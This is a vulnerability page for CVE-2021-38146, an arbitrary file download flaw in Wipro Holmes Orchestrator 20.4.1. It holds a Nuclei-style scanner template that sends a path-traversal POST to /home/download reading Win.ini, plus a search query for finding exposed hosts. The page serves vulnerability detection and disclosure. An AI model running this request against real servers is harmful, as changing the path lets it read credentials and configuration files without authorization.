CVE-2021-38146: Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download

2025-08-01 Wipro Holmes Orchestrator PoC Public

Description

The File Download API in Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to read arbitrary files via absolute path traversal in the SearchString JSON field in /home/download POST data.

PoC

id: CVE-2021-38146

info:
  name: Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download
  author: s4e-io
  severity: high
  description: |
    The File Download API in Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to read arbitrary files via absolute path traversal in the SearchString JSON field in /home/download POST data.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server via path traversal in the SearchString parameter, potentially exposing sensitive configuration files, credentials, and proprietary data.
  remediation: Fixed In v21.4.0
  reference:
    - https://packetstormsecurity.com/files/164970/Wipro-Holmes-Orchestrator-20.4.1-Arbitrary-File-Download.html
    - https://flippingbitz.com/post/wipro-ho-2041-cve/
    - https://www.wipro.com/holmes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38146
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-38146
    cwe-id: CWE-22
    epss-score: 0.11914
    epss-percentile: 0.95891
    cpe: cpe:2.3:a:wipro:holmes:20.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wipro
    product: holmes
    fofa-query: title="Wipro Holmes Orchestrator"
  tags: cve,cve2021,wipro,holmes,lfi,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/home/download"

    headers:
      Content-Type: application/json

    body: |
      {
        "SearchString": "C:/Windows/Win.ini",
        "Msg": ""
      }

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "[fonts]"
          - "[extensions]"
          - "[files]"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210097caf4e91b17c06000b5b4948c38aec2c5eaf027532bf9f2ce25adde4ca34787022100ba10f55ab27e1bd410b83462d5687c77ecf8e0aab44aec1f5e14f6a19fb3936a:922c64590222798bb761d5b6d8e72950

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